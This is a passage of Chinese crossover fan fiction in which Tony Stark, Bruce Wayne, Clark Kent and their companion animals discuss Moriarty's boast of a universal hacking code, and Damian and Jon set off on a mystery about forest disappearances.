火箭也好，导弹也好，莫里亚蒂有了那个东西，将其插入需要进入的地方，就能打开门，控制它们。 彼得：…… 好像听懂了，又好像没听懂。 “你说的好像是……骇侵？” “喵。”锈斑猫发出嫌弃的叫唤声：不可能，只有托尼才能打开所有的门，那个莫里亚蒂是什么东西，就敢在那胡说八道。 对此塔塔十分赞同。 “嘤叽！”让斯塔克大厦里的AI哥哥抽他！ “嘤嘤嘤！”叫他敢胡说八道，怎么可能有人能私自打开托尼尼的门。 这两只小动物在斯塔克大厦生活，锈斑猫更是跟着斯塔克一起学习了不少现代知识，骇侵这一块也是懂的。 它们两都听懂了星期五说的“门”是什么，并觉得莫里亚蒂就是在胡扯。 也许有人能找到所有程序的后门。 但绝不可能有人可以靠着一道不变程序就打开所有系统的门。 不说不同程序之间的构架很可能完全不同， TMD有没有外接口，连不连网络都不管，话说的那么满，也不怕被当场打脸。 锈斑猫冷笑。 塔塔学着锈斑猫一起冷笑。 斯塔克大厦的AI崽崽可以做到，是因为它有超级庞大的数据库存和现时代最好的硬件，而这一切可不是一个移动硬盘可以提供的。 他那个最多就是上传一个针对性的病毒，给防御系统造成麻烦，暂时感染该系统。 “喵喵~”而且这种病毒都有一定的指向性，不可能一个病毒适用于所有的系统。 它们两说的言之凿凿，星期五面露迷茫，也犹豫了起来。 “呜……汪？”不可能存在吗？ “喵。”不可能。 锈斑猫肯定道。 “喵呜。”如果你实在放不下心，我们现在就去找托尼， AI崽崽随便出个差就能解决你的担忧。 那毕竟是星期五的孵化者。 不管星期五表现的多么不喜欢夏洛克，可实际上，它却一直在做帮助夏洛克的事情，只是不想让夏洛克知道罢了。 考虑到夏洛克也许是个不靠谱的饲养员，锈斑猫认为星期五的想法也没什么问题。 锈斑猫的提议也是个不错的办法。 星期五同意下来。 于是锈斑猫将鼻尖随意的往电视后面的接口上一碰，让纳米机器人被激活，随着它们进入活跃状态，斯塔克也收到了自家小猫猫放出的信号。 第25章 提姆为了不和小红撞见, 干脆躲了起来，偷偷给布鲁斯传信。 布鲁斯和斯塔克前后脚收到消息，一个拿出手机看信息, 一个翻出手表查信号。 然后几乎同时开口随便找了个天南海北的借口就向夏洛克和华生辞行。 华生：？ 华生：嗯？家里狗呢？ ？ 壁炉边上,趴着看着墙壁发呆的卡皮巴拉动了动耳朵,依然不理那些世俗的烦扰,它知道再过一会星期五就会回来,也可能是再过一会的一会。 总之, 它会回来的。 卡皮巴拉等得起, 卡皮巴拉不急。 卡皮巴拉动了动自己的前爪，像是握了个拳。 等星期五回来, 给它一套拳击。 …… ………… 要让钢铁机甲从遥远的纽约飞过来, 还是需要一些时间的, 斯塔克选择直接开车过去，正好这个点就算是伦敦也不会堵车。 斯塔克惊讶的发现信号传出的地点居然就是彼得定下的房间，找借口离开后先一步骇侵了附近的监控系通,确定没出什么意外，才这么悠闲的载着布鲁斯开车往这边来。 等他们到的时候，塔塔已经因为吃了太多小零食而爬不起来了。 “……”斯塔克深呼吸：“减肥！” 塔塔一个激灵，躲到彼得身后去，无奈肚子太圆，扒在彼得身上都有些抓不稳，直接滑落滚到了床上, 又立刻跳起来，左右看了一圈, 干脆选中布莱克这个足够大只的哥谭来客，缩到布莱克身后, 还用爪子抱起自己的尾巴，防止它露在外面。 布莱克：…… 一直阻止塔塔吃零食但是成效甚微的锈斑猫：…… 锈斑猫叹了口气，原地一坐，暂时放弃继续努力。 算了，也就几次塔塔冲锋的能量，多动动就能消耗掉，这两天塔塔在外面浪的多，体型已经多少有点线条，不再是个光滑的茄型了。 看来之前圆润还是因为只吃不动，只要动的多，吃多点本身没什么事情。 锈斑猫喵喵着跟斯塔克解释。 斯塔克叉着腰，有点生气，但也不太多。 塔塔吃的时候起劲，减肥却不配合，想来也是跑步机走着实在是无聊，放出来塔塔倒是跑的起劲…… 斯塔克将水獭抱起来就是一顿训。 “我是气你偷吃零食吗？我是气你偷偷跑出来玩！” 顺便瞪一眼彼得。 彼得：…… Emmmm……斯塔克先生应该不知道自己换了蜘蛛侠制服出去的事情吧？不知道的吧？自己没穿他那套纳米战衣，应该不会被发现吧？ 今天也依然不擅长撒谎的彼得莫名心虚。 本来想帮塔塔说话的，现在果断放弃，将塔塔留在斯塔克怀里吸引火力，彼得只负责昂头看天花板假装自己不存在。 塔塔哀怨的看着自己的孵化者。 内德在那手忙脚乱的向斯塔克打招呼，还有哥谭的韦恩。 布鲁斯刚给提姆发短信让他过来，又去窗边推开窗户通风，小红找了个无人注意的机会偷偷飞出去，避免一会和提姆碰面增加掉马的风险。 只是这酒店的客房空间有限，之前是三只大型动物加上三只小型动物和两个人类，姑且还能装得下，现在少了个小红，却多了斯塔克和布鲁斯两个大活人，整个房间里瞬间就没了空地。 彼得和内德都坐在床上，奇迹和星期五也跳上另一张单人床。 布莱克左右看看，干脆跳上墙角的桌子。 只是它比一般豹子敦实，上去桌子就发出“嘎吱”的一声，布莱克只能立刻跳下来，蹲去墙角坐下。 屋内的椅子被斯塔克占领，布鲁斯选择靠在墙边。 他们又听了一遍那盒磁带。 布莱克的翻译还是有局限性的，实际上里面的内容更加丰富，提姆来的时候布鲁斯已经在假装笨拙的情况下打电话给“某个人”，然后“从对方那里得知了答案”。 “他拥有一个密码，可以打开所有的门，瞬间解放监狱，偷窃所有被严密保存的东西，关闭各大城市的电……” 说起来，刚才就大停电了一次。 “停电应该是场意外。”斯塔克琢磨着，认真想了片刻，摇头，“别逗了，如果有一天真的有这么一个东西出现，那它一定是被我做出来的。” “不可能是奥创？” “不是。看那个描述，最多是一段代码，甚至不是AI。” 这种东西对于他们这些擅长此道的人来说，根本不足为惧，因为太夸张了，压根不可能是真的。 夏洛克会上当应该是因为并不了解这个行当。 而其他了解的人有可能是赌不起。 毕竟斯塔克也不能说这种东西就一定不会出现，他所确定的，只是现在没有，而且就算有，那也是他先做出来。 “……” 其实他已经做出来了。 比如当初的奥创，比如家里的AI崽崽。 可就像锈斑猫说的那样，这些可不是一个移动硬盘甚至是个小小U盘就能携带的东西，AI的庞大数据可不是儿戏。 斯塔克曾经骇侵九头蛇的基地，还能随意下载数据，那也是因为他的机甲就在旁边，而他的AI崽崽就在他的机甲上。 如果没有，只靠着手表上那个简单的响应AI ，就只能欺负一下周围的监控设备了。 重点，有联网的监控设备。 “最可能是这人有既定的目标，并且从各种途径得到了这些系统的后门路径，针对性的设计了病毒，然后每次都利用网络输入病毒，或者干脆是派个人过去直接连上内部设备，然后再用病毒开门，但这样听起来太普通了一些，为了到达完美的恐吓效果，干脆说自己有一个万能代码。” 如果让斯塔克来弄什么“□□”，大概就是这样了。 时代在不断变化，能人辈出，越是有能力的人越是明白天才多么可怕，莫里亚蒂在那说的言之凿凿，再配上表演效果，就算是懂行的人也难免因此心慌。 星期五这才松了一口气。 斯塔克的名声它还是知道的。 虽然夏洛克是个心中只有推理和诡案的怪人，可华生却食人间烟火，会关注每日新闻，也知道地球绕着太阳转。 世界在日新月异，华生依然是养老模式，但至少知道今天的更新大概到了什么地步。 星期五时常无声立在华生身后，只有后爪着地，高高的探着脑袋，它立起来和夏洛克差不多高，这样的身高差自然能帮它清楚的看到华生正在看的报纸，又或者是一起就着笔记本电脑的屏幕看各种新闻，直到屏幕暗下，华生才会从反光中看到背后的黑影，并被星期五吓得跳起来。 在电脑、网络这些方面，斯塔克的判断完全可以当做真理。 至少以星期五得到的信息来说，是这样没错。 但星期五明白了，却不等于它能说服夏洛克。 那家伙的自负在某些角度上，很容易被敌人钻空子。 特别是莫里亚蒂十分了解夏洛克。 塔塔滚到地上，用前爪软软的抱住了斯塔克的小腿，昂头一顿嘤嘤嗯嗯的撒娇。 斯塔克：…… 这什么血条清空术！ 斯塔克怀疑自己感觉到了失血过多的眩晕。 原则很重要，但这种时候，原则可以重要且灵活。 “好好好，我想个办法，嗯？” 斯塔克弯腰抱起塔塔，埋头吸了一口，然后开始在屋子里找。 最终他选择扯一条毛巾过来，在上面留下私人电话，然后塞给星期五。 正常情况下狗狗是要用嘴巴叼东西的，如果写在纸上，叼着没一会就被唾液融了，所以斯塔克选择将号码写在毛巾上，并在下方正儿八经的签上自己大名。 “收下吧，如果有什么问题，随时让那个约翰·华生联系我，我会接的。” 斯塔克也不怕被咬，直接将毛巾塞进星期五的狗嘴里。 至于为什么让华生打电话，而不是夏洛克。 只能说天才难免相斥。 斯塔克怀疑他和夏洛克打电话能在三秒钟之内吵起来而完全说不到重点。 而且，一般来说斯塔克是不接这种私人咨询的，当然，政府的咨询他也不接，但考虑到那是家中伴生小动物的朋友，斯塔克愿意稍作让步。 但如果对方是执迷不悟到有这么一个完美的咨询对象，却依然不愿意相信他人的极端自负主义，那斯塔克只能说：祝好，快走不送。 夏洛克有可能，但华生可不是。 星期五这才算是放下心来，它叼着卷好的毛巾也不好叫出声，只能摇摇尾巴向斯塔克表达感谢的情绪。 奇迹在旁边轻哼着发出凑热闹的动静，告诉其他人和小动物：出生到现在，我还是第一次看到它愿意这么明确的摇尾巴表示善意呢。 星期五：…… 它狠狠瞪了自己的影子兄弟一眼，让它保持安静。 这警告做的不痛不痒，奇迹完全不在意，只等到时间差不多，布鲁斯和斯塔克领着各自的伴生动物先行离开，临走前布鲁斯还给彼得留了一张名片，表示自己看好他，大学毕业欢迎来韦恩集团，然后为了表示一视同仁，也给了内德一张名片。 当面挖墙脚的玩笑行为让斯塔克嘴角抽搐，彼得拿着名片尴尬无比。 他们走后奇迹也要走了。 “要我帮你开门么？”内德问它。 奇迹摇了摇头，然后昂起脖子，也没看它怎么动作，面前就出现了一缕金光，这金色光华旋舞而起，画成玄戒的传送门。 内德：？ ？ ？ 好家伙！现在狗都会开传送门了吗？ 门的那边是圣所的图书馆，正面能看到奇异博士正在看书，还抽空抬了一下手，示意奇迹赶紧回来。 内德这才松了一口气，看来是奇异博士开的门。 等星期五也化作黑雾离开，又过了5分钟，提姆才敲门进来。 “伙计！你错过了好多事情！” 内德对此感到十分遗憾，还拍了两下腿。 提姆皮笑肉不笑的，表示那还真是好遗憾啊。 第26章 美国, 哥谭市。 布鲁斯带着布莱克一起返回韦恩庄园，路上一切顺利，刚到家布鲁斯就注意到家中似乎是来了客人。 阿福走上来迎接人和大猫, 接过自己家老爷的外套, 然后在换鞋处坐下, 拿出热乎乎的毛巾, 开始给布莱克擦爪子, 布莱克也十分配合, 就坐在老管家脚边, 要哪只爪子就递哪只爪子，一点都不用老管家额外费力的。 擦爪子的过程中阿福简单的向布鲁斯说明家里的情况。 根据阿福提供的消息, 今天前来造访的是克拉克·肯特, 以及达米安的朋友, 小乔。 小乔纳森·肯特。 克拉克·AKA超人·肯特的儿子，和达米安同龄，两人并称超凡双子, 有时候会一起出去进行说是团体合作训练，其实完全是到处搞破坏的活动。 “他来做什么？” 如果是一起玩，那两个孩子更喜欢结伴去外面浪，或者去超人那边活动，主要是更自由自在一些，小孩是很难忍受蝙蝠侠身边的压抑氛围的。 “小乔少爷孵化了自己的伴生动物，听说达米安少爷依然孤身一人,大概是……想让达米安少爷多一个玩伴吧。”阿福半真半假的说着自己的猜想。 其实阿福和布鲁斯都心知肚明，小乔这是来炫耀的, 顺便气一下达米安。 小孩子的友情嘛，吵吵闹闹的也很不错。 布鲁斯就没去多管。 听阿福说其实克拉克也来了,就带着布莱克往会客厅去。 这次克拉克过来是带着他的伴生动物的，正好让对方和布莱克见一见， 布莱克对什么超人的伴生动物并没有太大兴趣。 记得它看过一些资料，那个地球名叫做克拉克·肯特的人其实是个外星来客，本质上是氪星人，能成为超人就是因为他们氪星人和黄太阳的契合度非常高，在照射黄太阳后就会拥有各种强悍到让人无法理解的能力，并且照射的时间越久能力就越强大。 这种存在别说是警惕过度的蝙蝠侠了，就算是布莱克听到都会感到毛骨悚然。 将一颗星球上的人命和文明未来完全赌在一名外星来客的善恶观念上，什么样的疯子才会觉得这是毫无问题的事情？ 就算他现在是个好人，可他能永远是个好人吗？ 超人可以听到整颗星球的声音。 这意味着任何人的恶念都难以逃脱他的耳朵，而人类到底是个什么玩意，难道人类自己还不清楚？ 相信超人这本身没有太大的问题。 问题在于，人类真的可以如此的相信自己吗？ 相信一个在人类社会中摸爬滚打的生物，他会一直善良下去？ “……” 布莱克打了个哈欠。 不管怎么说，这都是人类的问题。 布莱克作为一只伴生动物，它对超人只是敬而远之的心情，至于超人的伴生，布莱克也并不畏惧。 布鲁斯揉了揉布莱克的脑袋。 布莱克的一部分焦虑是源自于他，布鲁斯知道这点，却也无法做什么。 人和大猫一前一后走进会客厅，就看到双人沙发上坐着个身形魁梧的青年人，看起来应该是十分健硕的，却又莫名的有些佝偻。 “在我这里就不用伪装了吧？”布鲁斯哭笑不得。 克拉克笑着挺直腰板。 “习惯了。” 他作为克拉克·肯特的时候会刻意的弓腰塌背佝偻肩膀，让自己看起来又怂又憨憨，个头也会在视觉效果上矮个几厘米，以此和超人那高大伟岸的形象进行区分。 再将氪星科技出品，可以将眼周结构进行少许模糊调整的特殊眼镜摘下来。 现在的克拉克可不是普普通通的星球日报小记者了。 他是超人。 不过是凡人版本。 他坐在这里，带着自己的狗，来享受和老友的午后茶点时间。 “这是斯诺。”克拉克向蝙蝠侠的大猫介绍起自己的伴生动物，“一只白色巡回犬，虽然大部分伴生动物都更倾向于普通动物的状态，可斯诺不太一样，也许是因为我是氪星人的缘故吧，它完全不像是普通的犬科。” 那是什么意思？ 布莱克不太理解，它靠在单人沙发的背后，探出脑袋，警惕观察那只蹲坐在克拉克脚边，看起来安分守己，又十分懂事的白狗。 巡回犬是中型犬，体型上来说斯诺并不比布莱克更高大，可它昂首挺胸的，就让人莫名觉得难以接近，像是在某种工作状态，就差挂牌写明“工作中，谢绝勾搭”。 “去玩吧。” 克拉克一声令下，斯诺才解除了工作状态。 它看向隐藏在单人沙发背后，只探出一颗脑袋在观察自己的布莱克，大白汪的眼底也带着十分的好奇。 比起布莱克在那警惕小心、猫猫祟祟，斯诺就大方得多，直接小跑两步凑到布莱克跟前，就看这团黑乎乎的东西支愣着耳朵，警觉的往后撤了半个身位，斯诺干脆又往前走上一小步，再次和布莱克脸贴脸。 “汪？”一起玩吗？ 斯诺发出邀请：“汪汪！”我们想要建设一个超级动物联盟，也许你也有兴趣？ 警觉的缩着脖子的布莱克忍不住在脑袋上冒出一枚小问号来。 超级……什么？ “超级动物联盟？”布鲁斯扭头问克拉克，“你们在搞什么？” “与我无关，这是斯诺的想法。” 克拉克十分无辜，“斯诺和狼，再加上现在小乔也孵化出自己的伴生动物，这已经是个可以称作家庭的小单位了。” 更何况斯诺还是个犬科，在条件允许的情况下会产生想要继续扩张领地和族群的想法，那才是正常情况。 正常是接纳外族，然后多生宝宝。 斯诺大概因为生来便是伴生动物的缘故，没有考虑繁殖问题，第一个反应就是吸纳周围的其他伴生动物，组成联盟。 布莱克摇头，身体也跟着往后退去，自己藏身的阴影已经被斯诺入侵，布莱克就想躲到窗帘那边去，却被斯诺挡住了路径。 “汪~ ？”那我们也可以保持联络，如果有需要可以随时联系，要交换联系方式吗？ 不要！ 给老子爬——！ 两次被白狗突脸的布莱克忍不住发出驱逐的哈气声。 这一幕让克拉克几乎憋不住笑意。 克拉克这模样，不用猜布鲁斯也能知道，他这是想到两人刚开始建立正义联盟时的事。 布鲁斯忍着翻白眼的冲动，在边上的单人沙发处落座，没一会阿福进来给两人送茶和点心，布莱克趁着阿福开门的空档直接冲出去，跑上走道，斯诺不明所以，也不知道狗脑袋到底是怎么转的，斯诺居然选择跟了上去。 厚脸皮的白狗再次收获大黑猫的一顿哈气。 斯诺并不害怕，它一直跟在布莱克的身后，布莱克不许它靠近，斯诺就远远地跟着，两只动物从一楼的走道来到中央的大旋梯，布莱克直接踩着扶手两下跳到二楼去，斯诺沿着楼梯走了两步就开始浮空。 它居然是直接飞上来的。 这一幕直接把布莱克弄成飞机耳。 不是害怕，只是过于警觉了。 超人都有什么能力来着？ 布莱克想着，开始发出警告的呜声，让斯诺不要继续靠近，同时问它：你会飞行……你还会什么？钢铁之躯？强大的力量？ 斯诺在布莱克面前一米开外的位置落地，它对布莱克点了点头。 是的，我都会。 我是超人的伴生动物，当然要能随时跟在他的身边，否则他岂不是一如既往的孤独？ 当然，超人原来就有一只狗。 也来自氪星，犬科，名字叫做小氪。 可小氪是一只真正的狗，和能直接同超人进行交流的斯诺之间还是有些区别的。 伴生动物能最大的优势在于它们能与孵化者直接对话，它们真的能完全理解人类在说什么，也能让人类明白自己想要表达的东西。 有效的沟通是连接灵魂的重要桥梁。 斯诺是这么认为的。 “汪~”交个朋友吧~ 斯诺轻轻摇晃着尾巴，以礼貌的态度再次向布莱克发出邀请。 布莱克背着耳朵盯着这家伙。 然后再次跑开。 斯诺再次跟了上去。 这时候白狗狗显得有些困惑。 超人是猫控，斯诺也被动的了解了猫咪的各种行为。 它本以为布莱克是不喜欢有其他动物突然闯入地盘，因此有些应激，但布莱克的实际表现又没有应激的迹象，后来它怀疑布莱克是不喜欢在人类面前和其他动物亲昵——根据超人的说法，蝙蝠侠就是个别扭怪，那么蝙蝠侠的伴生动物也是个别扭怪，这完全没有问题。 斯诺对自己的推理很自信，却惊讶的发现离开人类的视线后事情并没有好转，布莱克依然在拒狗千里之外。 为什么？ 白狗迷茫了。 “汪呜？”我身上有什么味道让你讨厌吗？应该没有柠檬或者橘子的味道……？ 迷茫的狗狗回头嗅了嗅自己，确定自己身上没有猫咪不喜欢的酸味。 那到底是为什么？ 斯诺原地坐下，呆呆的看着前方。 布莱克：…… 这呆逼的模样让大黑猫一时之间不知如何是好。 这超人的狗…… 好像不太聪明的样子。 布莱克也停了下来，隔着大概5米的距离对斯诺发出警告声：你到底要做什么？ “汪。”我想跟你交朋友。 斯诺肯定道。 如此简单的要求。 而它是那么的坦诚，执着，温暖的如同早上10点多的太阳，它的温度正好，暖和舒适，也没有中午时分那般刺目。 布莱克陷入了沉默。 大黑猫暂时忘记了那让猫咪炸毛的强大能力和入侵危机。 它看着这只白乎乎的，看起来人畜无害的中型犬。 而对方就睁大了天蓝色的眼睛，以赤诚之心对着它，直勾勾的望进布莱克的灵魂中去。 第27章 直球克猫猫。 这是达米安的结论。 当然了,那种趁着猫咪不注意就猛地扑上去强行抱抱撸撸的“直球”肯定不行。 猫猫可不喜欢被强迫，所以这个直球，它必须得是非常有技术的直球。 哪怕猫猫正处在炸毛警觉的状态,这颗直球也能微妙的戳中猫猫的心,让它好奇又心痒,警觉中还能感受到一丝丝温暖。 这要求, 想想就知道很有难度。 如果是其他人, 面对布莱克那样一只难以靠近的大黑猫, 多半是拿不出任何办法的。 但超人家不太一样。 超人家的狗那就更不一样了。 达米安对此毫不担心。 超人汪克别扭猫, 这点是老传统了。 达米安看着正带着小白狗崽在自己屋子里快乐的飞来飞去，展示他终于获得超能力的小乔,面瘫,并且拿不出任何办法。 该死的直球家族。 达米安默默地磨牙。 “达米安, 我决定叫它福克斯（Fox）！” “狐狸？” “嗯嗯，它是不是超级像一只白乎乎的小狐狸？” “它确实是银狐犬，需要我提醒你这个犬种之所以叫做银狐犬, 就是因为它看起来特别像一只雪地白狐吗？”达米安眼角直抽。 居然叫人家狐狸是不是太应付了些？ 如果是自己的话，肯定是引经据典，再结合各种神话故事，给这只银狐伴生犬一个充满祝福和希望的好名字。 也许很长，也许有些绕口，但足够慎重。 哪里会像小乔这么应付？ ！ 暴殄天物。 暴。殄。天。物。 达米安的脑子里只能想到这个。 以及，为什么？到底为什么？为什么现在全家除了阿福就只剩下他还没有毛茸茸？如果是按照年纪来的,那为什么现在小乔都有毛茸茸了，只有他还没有？ ！ 达米安的表情一度完全扭曲变形, 甚至显得有些狰狞。 这模样让银狐犬有些不安。 福克斯，叫它小狐吧。 小狐有些疑惑为什么这个人类突然生起气来,看起来好抓狂的样子。 小狐想要安慰对方，可这人并不是孵化者，小狐清楚的知道就算自己汪汪叫，对方也听不懂，反而有可能吓到人类的幼崽。 所有它只能尝试着摇了摇尾巴，用热情的举动来表示自己的友好无害，并为了不让这名叫做达米安的人类和自己的孵化者打架，小狐鼓起勇气横在两人之间，用自己的脸颊和脖子去蹭达米安，试图劝架。 这是个很明显的调和信号。 小白狗昂着脑袋，哼哼唧唧的，氪星蓝的眼瞳颜色很浅，仿佛天然带着一层淡淡的水雾，看着就像是覆盖着薄云的蓝天。 达米安一瞬间就消气了。 错的是小乔，达米安可不想因此吓到银狐犬。 “好吧，你的狗，你取名字。” 达米安冷哼一声，双手抱住小狐，跟它蹭了蹭脸颊，再轻轻靠一下鼻尖，以此来表示自己接受了调和，好让小狐不必继续担心。 小狐：！ ！ ！ 小家伙惊喜的睁大了眼睛。 这个人类，他懂我哎！ 快乐的小狗尾巴摇得更快了起来，扇起阵阵微风，惹得达米安越发喜欢，抱着就是一顿的揉搓。 期间小乔就在旁边笑嘻嘻的看着围观。 果然！ 他就知道达米安不可能拒绝小狐！ 快乐看戏的小乔越飘越高，很快迎来属于自己的乐极生悲。 他飘得实在是太高了，一头撞上达米安屋子的天花板，韦恩家的屋子不至于是钢铁之躯，却也不是豆腐渣工程，小乔又没有高强度的身体，这一下顿时撞得他嗷嗷叫唤，抱住自己的脑袋，也不再嘚瑟了，摇摇晃晃地飘落回地面。 达米安抱胸看他。 “我假设你没在演戏，”达米安超级嫌弃的说，“所以，还是没有钢铁之躯？” 小乔含泪点了点头。 没有，他和小狐都没有钢铁之躯。 达米安深呼吸。 行吧，其实也没有太糟糕。 超人的初次飞行也是在克拉克15岁的时候，小乔才刚到这个年纪呢，学会飞是正常速度，没有钢铁之躯大概是因为还没受到恰当的刺激？ 达米安猜测着，视线在小乔身上上下移动。 小乔被他盯得危机感爆棚，猛地打了个激灵，小狐似乎也感觉到了危险，也打了个激灵，并开始抖毛，寻求放松。 眼看小家伙被吓到了，达米安迅速收敛一身杀气，转头再次将小狐搂入怀中，用手指仔细的给它顺毛。 其实达米安并不是特别宠小动物的那种性格。 达米安讲求的是训练和成长，他喜欢毛茸茸，也是因此才更要求毛茸茸变得强大，以此来保护它们自己。 不过小狐不太一样。 它还是个幼崽呢。 比一般的银狐犬还小那么一圈，叫声也奶声奶气的。 对着它达米安实在凶不起来。 他只能在银狐犬看不到的角度瞪了小乔一眼，然后抱着银狐犬放到自己床上，小狐配合的趴好，一动不动。 小乔摸了摸鼻尖。 总觉得……今天的达米安额外凶呢。 哥谭的罗宾鸟是个会因为孵不出毛茸茸就气到跳脚的□□崽子。 这种事情小乔哪里能猜到呢？ 他带着新孵化的银狐犬来分享快乐，却无意间加重了达米安的抓狂，惹得孩子忍不住嫉妒到扭曲变形。 我是做了什么让他讨厌的事情吗？ 小乔百思不得其解。 他缓缓落下来，见达米安从抽屉里翻出小型犬用的软梳，开始小狐梳理毛发，小乔就安安分分的坐在达米安身旁，双手撑在膝盖上，那模样看着就让人觉得，这一定是个乖巧懂事的好孩子。 “达米安。”小乔小声叫他。 达米安嗯哼了一声，让他有话快说。 “今晚，去么？”小乔含糊其辞。 “嗯。”达米安给出一个代表肯定的重音。 “小狐可以一起去吗？”小乔又凑上来，小心翼翼的询问。 那探头探脑的模样，引得达米安忍不住给他一个白眼。 “小狐愿意吗？” 小狐快乐的汪叽一声。 不需要小乔来帮忙翻译，达米安知道，这是愿意的意思。 “好吧。”达米安答应下来。 “好耶！” 超凡双子，开始行动！ ！ ！ 这次还有新的小伙伴加入，小乔兴奋雀跃，再次飘起来，一脑袋撞到了天花板上。 达米安目不斜视，一边继续给小狐顺毛，一边仔细叮嘱小狐：“记住路上要紧紧跟着我，不要相信你的孵化者，他很弱，连他自己都保护不了。” “汪呜……？” 小狐顿时陷入迷茫。 明明小乔说要保护达米安，因为达米安不是氪星人，没有超级恢复力，也不会飞，在冒险中很容易遇到危险。 可为什么到达米安嘴里，又变成其实是小乔更弱一些？ 小狐迷茫的看向小乔那边。 小乔对它挤眉弄眼。 刚出生不久的小狐还读不懂这“眼神暗示”，于是更加迷糊。 小狐绞尽脑汁也想不明白，小脑袋瓜都开始升温了，超级思维在那飞速运转，也不知道转了多少个弯，小狐恍然大悟。 仔细想一想，无论是达米安还是小乔，他们的要求都是“跟紧达米安”。 它只要做到这个就好了呀！ “汪！” 迷茫完毕后小狐昂起脖子，清脆的叫出声来表示自己记住了。 “好乖。” 达米安揉了揉它的脑袋。 不错，这孩子比它的孵化者聪明。 …… ………… 会客厅。 克拉克走了会神，然后对布鲁斯说：“晚上有空吗？” 布鲁斯秒懂他的意思，略微点头，又发现克拉克的视线是落在门的方向，布鲁斯顺着看过去，发现门并未关好，那是布莱克和斯诺先后从这里钻出去，忘记关门留下的缝隙。 两个孩子一直都挺有主见的，他们作为家长也是操碎了心。 如果他们愿意做个普通人，蝙蝠侠和超人当然能帮他们隐姓埋名，不受超级英雄父亲的拖累，可偏偏他们也选择了这么一条艰难的路。 克拉克对此又欣慰，又担忧。 尤其是这两孩子都很不喜欢来自家长的看护，总是偷偷跑出去，他们那一身装备又极具指向性，哪个反派会认不出来他们就是超人和蝙蝠侠的孩子？ “我们跟在后面会适得其反，他们只会跑的更快，不如让布莱克和斯诺去吧。” 克拉克提议。 小乔一直都是两人中更乖的那一个，而达米安又是个毛绒控，只要是小动物，对达米安就能产生会心一击的伤害。 让布莱克和斯诺去保护他们两个，至少不用担心被赶回来。 布莱克一直表现的没有任何特殊能力，也许达米安会因为担心，主动带上布莱克，或者干脆停止冒险，打道回府。 无论哪一个情况他们都不亏。 “你不怕它们处不来？” 克拉克对此很有自信，“怎么可能呢？那可是我们的伴生动物。” 蝙蝠侠哼哼一声，算是个赞同。 但他依然觉得克拉克是做了弊的。 下一刻，斯诺拱开门缝率先飞进来，后面跟着慢悠悠踱步的布莱克，它们的关系看起来好了很多，主要是布莱克的状态缓和，不再那么排斥斯诺的存在。 刚才克拉克一定在用透视眼观察两只动物。 蝙蝠侠猜测。 如果布莱克和斯诺真的打起来，克拉克只用一瞬间就能出现并阻止它们，这才是克拉克看起来淡定自若的根本原因。 “看来你认可它了。”蝙蝠侠看着往墙角一坐，默默自闭的黑色美洲豹，问：“原因？” 布莱克扭头瞪了蝙蝠侠一眼，再次面壁并拒绝沟通。 第28章 克拉克·肯特在晚上十点换了超人的制服, 蝙蝠侠则是在十二点左右才出的蝙蝠洞，他们离开的时间并不相同，但达米安有可靠的情报, 证明他们今晚都有事情, 去了远在地球之外的瞭望塔。 家长都出门了,也就意味着熊孩子们即将出笼。 达米安探头探脑, 仔细观察窗户外面, 确定那些碍事的兄长也都休息的休息, 在忙的在蝙蝠洞里加班。 然后他回头招了一下手。 小乔轻飘飘的飞出来,拉住达米安的手，两人就这么飞向高空,小狐坠在他们后面,还知道要掩好窗户。 云层上方太冷, 他们只在百米的高度飞行。 从哥谭飞到纽约，降落在少年正义联盟的房顶上，这里有一架飞机, 是达米安的“线人”帮忙准备的。 “酷哎，谁做的？”小乔有些好奇。 他知道达米安早年在少年正义联盟呆过一段时间，只是很快就离开了，回到蝙蝠洞继续做他的罗宾。 而所谓的少年正义联盟，顾名思义，其实就是正义联盟预备军的训练基地，同时也负责收容各种身份有问题, 但内心并不坏，年龄尚小, 并不想被政府干涉未来的超能力者以及因为各种原因暂时不会离开地球的外星访客。 理论上，觉醒超能力的小乔也会去少年正义联盟呆一段时间, 他现在15岁，差不多要呆到18岁吧。 小乔对这个地方十分好奇，他知道达米安不会出卖“线人”，直接跳到下个问题去。 “如果我也来这里训练，你会回来吗？” “会。” 达米安毫不犹豫。 “哇哦！”小乔发出快乐的动静。 达米安瞪了他一眼，嫌弃的说：“我是怕你自己在那边犯蠢，他们都知道我们是超凡双子，你犯蠢，他们会以为我和你一样蠢！” 这理由非常合理。 小乔笑着歪着脑袋看天空，假装自己真的有在信。 两人一狗坐上飞机，达米安负责驾驶，小乔抱着小狐坐在后面，他们还扎了安全带，想的是万一出了情况，他们可以直接拎着飞机带着达米安一起飞。 说真的小乔其实有点期待那个。 他听说自己的父亲，也就是超人，曾经这么连飞机带蝙蝠一起飞过。 那听起来就超级酷的好嘛！ 小狐感受到小乔亢奋的情绪，随之兴奋起来。 他们飞跃高空，追上太阳，温暖包裹住青少年的身躯，兴奋的心脏在时间流逝中逐渐恢复正常，最开始犯困的是小狐，然后小乔也跟着打了个大大的哈欠。 等核对地图的达米安反应过来，后面那两只已经睡着了。 达米安：……啧。 …… 飞机降落的振动唤醒了小乔和小狐。 他们其实睡的挺沉的，无奈达米安是迫降式落地，直接将飞机整了个大残，巨大的颠簸吓得小狐一个激灵，小乔赶紧抱紧它。 “罗宾？” “正常降落。”达米安强调。 小乔：…… 超凡双子队规之一：达米安说什么就是什么，不要反驳，反驳也没有用，达米安他会死不承认！ 小乔和小狐对视。 初次面对梗着脖子睁眼说瞎话的达米安，小狐是迷茫的，小乔对它耸了下肩膀，表示自己没办法，听达米安的就行啦。 他们跳下半毁的飞机，收拾装备。 小乔有个小书包，里面装着些水和零食，达米安装备齐全，什么都能掏出来一点。 这时候小乔才想起来问他们的目的。 两人的“任务”基本都是达米安从蝙蝠电脑或者少年正义联盟or正义联盟之类的地方抠出来的，千奇百怪什么都有，小乔对此十分期待。 “失踪案，准确的说是神隐。” “神隐？” “一些人会在林子里突然失踪，过一段时间后再次出现，没有任何问题，只是不记得失踪期间发生了什么事情。有些地方将这种情况称为神隐，意思是人是被神带走，等神玩够了又把人放回来。” 小乔听着感觉不太对劲。 “怎么好像闹鬼啊……” “……” 确实挺像的。 什么神闲着没事干抓个人藏起来玩，这么无聊怎么纽约之战的时候不来凑热闹，打打北欧邪神和外星人，也算是活动筋骨，还能刷刷存在感。 其实达米安也怀疑是闹鬼，至少是个恶魔什么的。 他是下过地狱的人，曾经在少年正义联盟里的队友渡鸦甚至是真正意义上的恶魔之子，因此达米安对什么妖魔鬼怪都没有太大感觉。 可小乔不一样。 